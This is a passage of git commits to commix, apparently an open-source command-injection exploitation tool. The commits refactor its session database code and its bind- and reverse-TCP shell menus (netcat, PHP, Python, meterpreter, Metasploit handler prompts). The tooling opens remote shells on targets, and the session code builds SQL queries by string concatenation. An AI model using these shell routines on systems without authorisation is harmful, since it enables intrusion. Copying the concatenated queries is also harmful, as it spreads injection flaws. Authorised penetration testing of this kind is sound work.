BY id DESC limit 1;") - + conn = sqlite3.connect(settings.SESSION_FILE) + result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';") + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE " + \ + "url like '%" + split_url(url) + "%' AND " + \ + "technique == '" + technique + "' AND " + \ + "injection_type == '" + injection_type + "' AND " + \ + "http_request_method == '" + http_request_method + "';" + cursor = conn.execute(query).fetchall() + if cursor: for session in cursor: url = session[1] technique = session[2] @@ -254,67 +269,36 @@ def injection_point_exportation(url, http_request_method): TAG = session[9] alter_shell = session[10] payload = session[11] + http_header = session[12] http_request_method = session[13] url_time_response = session[14] timesec = session[15] exec_time = session[16] output_length = session[17] is_vulnerable = session[18] + data = session[19] + cookie = session[20] + if http_header: + settings.HTTP_HEADER = http_header + if cookie: + menu.options.cookie = cookie + if data: + settings.IGNORE_USER_DEFINED_POST_DATA = False + menu.options.data = data + if settings.INJECTION_LEVEL != is_vulnerable: + settings.INJECTION_LEVEL = int(is_vulnerable) return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable + else: + settings.LOAD_SESSION = None + return False else: no_such_table = True pass except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False except: - settings.LOAD_SESSION = False - return False - -""" -Notification about session. -""" -def notification(url, technique, injection_type): - try: - if settings.LOAD_SESSION == True: - while True: - # message = "A previously stored session has been held against that target. " - message = "Do you want to resume to the " - message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " - message += technique.rsplit(' ', 2)[0] - message += " injection point from stored session? [Y/n] > " - settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) - if settings.LOAD_SESSION in settings.CHOICE_YES: - settings.INJECTION_CHECKER = True - return True - elif settings.LOAD_SESSION in settings.CHOICE_NO: - settings.LOAD_SESSION = False - settings.RESET_TESTS = True - return False - elif settings.LOAD_SESSION in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(settings.LOAD_SESSION) - pass - except sqlite3.OperationalError as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - except (KeyboardInterrupt, SystemExit): - raise - -""" -Check for specific stored parameter. -""" -def check_stored_parameter(url, http_request_method): - if injection_point_exportation(url, http_request_method): - if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level): - # Check for stored alternative shell - if injection_point_exportation(url, http_request_method)[9] != "": - menu.options.alter_shell = injection_point_exportation(url, http_request_method)[9] - return True - else: - return False - else: + settings.LOAD_SESSION = None return False """ @@ -326,18 +310,11 @@ def store_cmd(url, cmd, shell, vuln_parameter): conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - if settings.TESTABLE_PARAMETER: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ - str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ - str(vuln_parameter))) - else: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ - str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ - str(settings.HTTP_HEADER))) + conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ + "VALUES(?,?,?)", \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ + str(vuln_parameter))) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: @@ -350,31 +327,20 @@ def store_cmd(url, cmd, shell, vuln_parameter): """ def export_stored_cmd(url, cmd, vuln_parameter): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ - "vuln_parameter= '" + vuln_parameter + "';").fetchall() - else: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ - "vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall() - - conn.commit() - conn.close() - - for session in cursor: - output = base64.b64decode(session[0]) - try: - return output.decode(settings.DEFAULT_CODEC) - except AttributeError: - return output - else: - no_such_table = True - pass + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT output FROM " + table_name(url) + \ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND " + \ + "vuln_parameter= '" + vuln_parameter + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + for session in cursor: + output = base64.b64decode(session[0]) + try: + return output.decode(settings.DEFAULT_CODEC) + except AttributeError: + return output except sqlite3.OperationalError as err_msg: pass @@ -387,8 +353,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\ "username VARCHAR, password VARCHAR);") - - conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, "\ + conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, " \ "admin_panel, username, password) VALUES(?,?,?,?,?)", \ (str(url), str(authentication_type), str(admin_panel), \ str(username), str(password))) @@ -404,19 +369,15 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa """ def export_valid_credentials(url, authentication_type): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - cursor = conn.execute("SELECT username, password FROM " + table_name(url) + \ - "_creds WHERE url='" + url + "' AND "\ - "authentication_type= '" + authentication_type + "';").fetchall() - - cursor = ":".join(cursor[0]) - return cursor - else: - no_such_table = True - pass + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT username, password FROM " + table_name(url) + \ + "_creds WHERE url like '%" + split_url(url) + "%' AND " + \ + "authentication_type= '" + authentication_type + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + return ":".join(cursor[0]) except sqlite3.OperationalError as err_msg: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index bebf834d78..ca013c8de1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "92" +REVISION = "93" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -290,11 +290,14 @@ def sys_argv_errors(): START_TIME = time.time() +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + # Readline READLINE_ERROR = False -# User-supplied operating system command -USER_SUPPLIED_CMD = "" +# User-applied operating system command +USER_APPLIED_CMD = "" # Random Tag RANDOM_TAG = "" @@ -378,7 +381,7 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -USER_DEFINED_URL_DATA = True +USER_DEFINED_URL_DATA = False # User-defined stored POST data. USER_DEFINED_POST_DATA = "" # Ignore user-defined stored POST data. @@ -388,8 +391,9 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_CHAR = "*" CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" -PRE_CUSTOM_INJECTION_MARKER_CHAR = "" CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] +PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +POST_CUSTOM_INJECTION_MARKER_CHAR = "" class INJECTION_MARKER_LOCATION(object): URL = False @@ -403,6 +407,7 @@ class INJECTION_MARKER_LOCATION(object): # Testable parameter(s) - comma separated. TESTABLE_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None +NOT_TESTABLE_PARAMETERS = True # Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" @@ -420,7 +425,7 @@ class OS(object): IDENTIFIED_TARGET_OS = False IGNORE_IDENTIFIED_OS = None -# Verbosity level: 0-1 (default 0) +# Verbosity level (0-4, Default: 0) VERBOSITY_LEVEL = 0 # Local HTTP server ip @@ -561,11 +566,14 @@ class OS(object): # Seconds to delay between each HTTP retry. DELAY_RETRY = 1 -#Level (Default: 1) DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 -USER_SUPPLIED_LEVEL = DEFAULT_INJECTION_LEVEL + +# Level of tests to perform. +# The higher the value is, the higher the number of HTTP(s) requests are. (Default: 1) +INJECTION_LEVEL = 0 +USER_APPLIED_LEVEL = False PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -652,16 +660,16 @@ class OS(object): CHOICE_YES = ['YES','YE','Y','yes','ye','y'] # Accepts 'NO','N','no','n' -CHOICE_NO = ['NO','N','no','n'] +CHOICE_NO = ['NO','no','N','n'] # Accepts 'QUIT','Q','quit','q' -CHOICE_QUIT = ['QUIT','Q','quit','q'] +CHOICE_QUIT = ['QUIT','quit','Q','q'] # Accepts 'W','w','U','u','Q','q' CHOICE_OS = ['W','w','U','u','Q','q','N','n'] -# Accepts 'C','c','S','s','Q','q','A','a','N','n','R','r' -CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a','N','n','R','r'] +# Accepts 'C','c','S','s','Q','q','A','a' +CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a'] # Available alternative shells AVAILABLE_SHELLS = ["python"] @@ -684,7 +692,7 @@ class INJECTION_TECHNIQUE(object): FILE_BASED = "file-based command injection technique" TEMP_FILE_BASED = "tempfile-based injection technique" -USER_SUPPLIED_TECHNIQUE = False +USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False # User Agent List @@ -1051,9 +1059,6 @@ class INJECTION_TECHNIQUE(object): SESSION_FILE = "" LOAD_SESSION = None -# Reset all tests (i.e. all techniques) -RESET_TESTS = False - # Define the default credentials files USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt" @@ -1077,7 +1082,7 @@ class AUTH_TYPE(object): RAW_HTTP_HEADERS = "" -USER_SUPPLIED_TAMPER = "" +USER_APPLIED_TAMPER = "" # Tamper scripts dict TAMPER_SCRIPTS = { @@ -1361,4 +1366,5 @@ class END_LINE: USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" + # eof diff --git a/src/utils/version.py b/src/utils/version.py index 9ee77e1351..95869585d0 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -33,4 +33,5 @@ def python_version(): warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to re-run with Python 3." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) - #raise SystemExit() + +# eof \ No newline at end of file From fee3bb4b076ba04916d455cf7ecf96d5eaa46996 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 8 Sep 2024 09:43:19 +0300 Subject: [PATCH 493/560] Update regarding commit: https://github.com/commixproject/commix/commit/0d291ee45bee9a45ffce537c30035b928f6a6d98 --- src/core/injections/controller/checks.py | 198 +++++++++++++++ src/core/shells/bind_tcp.py | 216 +++------------- src/core/shells/reverse_tcp.py | 301 +++++------------------ src/utils/common.py | 27 +- src/utils/settings.py | 2 +- 5 files changed, 308 insertions(+), 436 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6c381c444e..c28f089abb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3024,4 +3024,202 @@ def time_relative_export_injection_results(cmd, separator, output, check_exec_ti err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Success msg. +""" +def shell_success(option): + info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Payload generation message. +""" +def gen_payload_msg(payload): + info_msg = "Generating the '" + payload + "' shellcode. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Error msg if the attack vector is available only for Windows targets. +""" +def windows_only_attack_vector(): + error_msg = "This attack vector is available only for Windows targets." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + +""" +Message regarding the MSF handler. +""" +def msf_launch_msg(output): + info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Once the loading is done, press here any key to continue..." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + sys.stdin.readline().replace("\n", "") + # Remove the ouput file. + os.remove(output) + +""" +Check for available shell options. +""" +def shell_options(option): + if option.lower() == "reverse_tcp" or option.lower() == "bind_tcp" : + warn_msg = "You are into the '" + option.lower() + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif option.lower() == "?": + menu.reverse_tcp_options() + elif option.lower() == "quit" or option.lower() == "exit": + raise SystemExit() + + elif option[0:4].lower() == "set ": + if option[4:10].lower() == "lhost ": + if option.lower() == "bind_tcp": + err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg += "usable for '" + option.lower() + "' mode. Use 'RHOST' option." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + check_lhost(option[10:]) + if option[4:10].lower() == "rhost ": + if option.lower() == "reverse_tcp": + err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg += "usable for '" + option.lower() + "' mode. Use 'LHOST' option." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + check_rhost(option[10:]) + if option.lower() == "reverse_tcp": + if option[4:10].lower() == "lport ": + check_lport(option[10:]) + if option[4:12].lower() == "srvport ": + check_srvport(option[12:]) + if option[4:12].lower() == "uripath ": + check_uripath(option[12:]) + else: + return option + +""" +Set up the PHP working directory on the target host. +""" +def set_php_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] > " + php_dir = common.read_input(message, default="Y", check_batch=True) + if php_dir in settings.CHOICE_YES: + break + elif php_dir in settings.CHOICE_NO: + message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " + settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) + settings.USER_DEFINED_PHP_DIR = True + break + else: + common.invalid_option(php_dir) + pass + +""" +Set up the Python working directory on the target host. +""" +def set_python_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) + if python_dir in settings.CHOICE_YES: + break + elif python_dir in settings.CHOICE_NO: + message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + settings.USER_DEFINED_PYTHON_DIR = True + break + else: + common.invalid_option(python_dir) + pass + +""" +Check if to use '/bin' standard subdirectory +""" +def use_bin_subdir(nc_alternative, shell): + while True: + message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + enable_bin_subdir = common.read_input(message, default="N", check_batch=True) + if enable_bin_subdir in settings.CHOICE_YES : + nc_alternative = "/bin/" + nc_alternative + shell = "/bin/" + shell + return nc_alternative, shell + elif enable_bin_subdir in settings.CHOICE_NO: + return nc_alternative, shell + elif enable_bin_dir in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enable_bin_subdir) + pass + +""" +Set up the Python interpreter on linux target host. +""" +def set_python_interpreter(): + while True: + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_interpreter = common.read_input(message, default="Y", check_batch=True) + if python_interpreter in settings.CHOICE_YES: + break + elif python_interpreter in settings.CHOICE_NO: + message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + settings.USER_DEFINED_PYTHON_INTERPRETER = True + break + else: + common.invalid_option(python_interpreter) + pass + +""" +check / set rhost option for bind TCP connection +""" +def check_rhost(rhost): + settings.RHOST = rhost + settings.print_data_to_stdout("RHOST => " + settings.RHOST) + return True + +""" +check / set lhost option for reverse TCP connection +""" +def check_lhost(lhost): + settings.LHOST = lhost + settings.print_data_to_stdout("LHOST => " + settings.LHOST) + return True + +""" +check / set lport option for reverse TCP connection +""" +def check_lport(lport): + try: + if float(lport): + settings.LPORT = lport + settings.print_data_to_stdout("LPORT => " + settings.LPORT) + return True + except ValueError: + err_msg = "The provided port must be numeric (i.e. 1234)" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + +""" +check / set srvport option for reverse TCP connection +""" +def check_srvport(srvport): + try: + if float(srvport): + settings.SRVPORT = srvport + settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) + return True + except ValueError: + err_msg = "The provided port must be numeric (i.e. 1234)" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + +""" +check / set uripath option for reverse TCP connection +""" +def check_uripath(uripath): + settings.URIPATH = uripath + settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) + return True + # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 2bf67625e6..4441072970 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -22,134 +22,10 @@ from src.utils import menu from src.utils import common from src.utils import settings +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "bind_tcp": - warn_msg = "You are into the '" + option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit" or option.lower() == "exit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "rhost ": - check_rhost(option[10:]) - if option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - else: - return option - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n", "") - # Remove the ouput file. - os.remove(output) - -""" -Set up the PHP working directory on the target host. -""" -def set_php_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR - message += "' as PHP working directory on the target host? [Y/n] > " - php_dir = common.read_input(message, default="Y", check_batch=True) - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" - message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " - settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) - settings.USER_DEFINED_PHP_DIR = True - break - else: - common.invalid_option(php_dir) - pass - -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_dir = common.read_input(message, default="Y", check_batch=True) - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" - message += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - common.invalid_option(python_dir) - pass - -""" -Set up the Python interpreter on linux target host. -""" -def set_python_interpreter(): - while True: - message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = common.read_input(message, default="Y", check_batch=True) - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom interpreter for Python (e.g. '" - message += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break - else: - common.invalid_option(python_interpreter) - pass - -""" -check / set rhost option for bind TCP connection -""" -def check_rhost(rhost): - settings.RHOST = rhost - settings.print_data_to_stdout("RHOST => " + settings.RHOST) - return True - -""" -check / set lport option for bind TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - settings.print_data_to_stdout("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - return False - - """ Set up the netcat bind TCP connection """ @@ -166,14 +42,13 @@ def netcat_version(separator): "nc.openbsd" ] - while True: - nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") + while True: + nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -192,27 +67,14 @@ def netcat_version(separator): break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) + if checks.shell_options(nc_version): + return checks.shell_options(nc_version) # Invalid command else: - common.invalid_option(nc_version) + checks.invalid_option(nc_version) continue - while True: - message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enable_bin_dir) - pass + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) if nc_version != '4': # Netcat with -e @@ -226,11 +88,10 @@ def netcat_version(separator): return cmd """ +Other bind shell options """ def other_bind_shells(separator): - - while True: - other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. @@ -239,9 +100,9 @@ def other_bind_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. """ + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. -commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.""") + while True: + other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': @@ -277,11 +138,11 @@ def other_bind_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -368,11 +229,11 @@ def other_bind_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -414,23 +275,23 @@ def other_bind_shells(separator): if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) + if checks.shell_options(other_shell): + return checks.shell_options(other_shell) # Invalid option else: - common.invalid_option(other_shell) + checks.invalid_option(other_shell) continue return other_shell @@ -439,13 +300,11 @@ def other_bind_shells(separator): Choose type of bind TCP connection. """ def bind_tcp_options(separator): - - while True: - bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. -commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. """) + while True: + bind_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -455,7 +314,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '1' : bind_tcp_option = netcat_version(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("bind") + checks.shell_success("bind") break elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option @@ -465,18 +324,17 @@ def bind_tcp_options(separator): elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("bind") + checks.shell_success("bind") break # Check 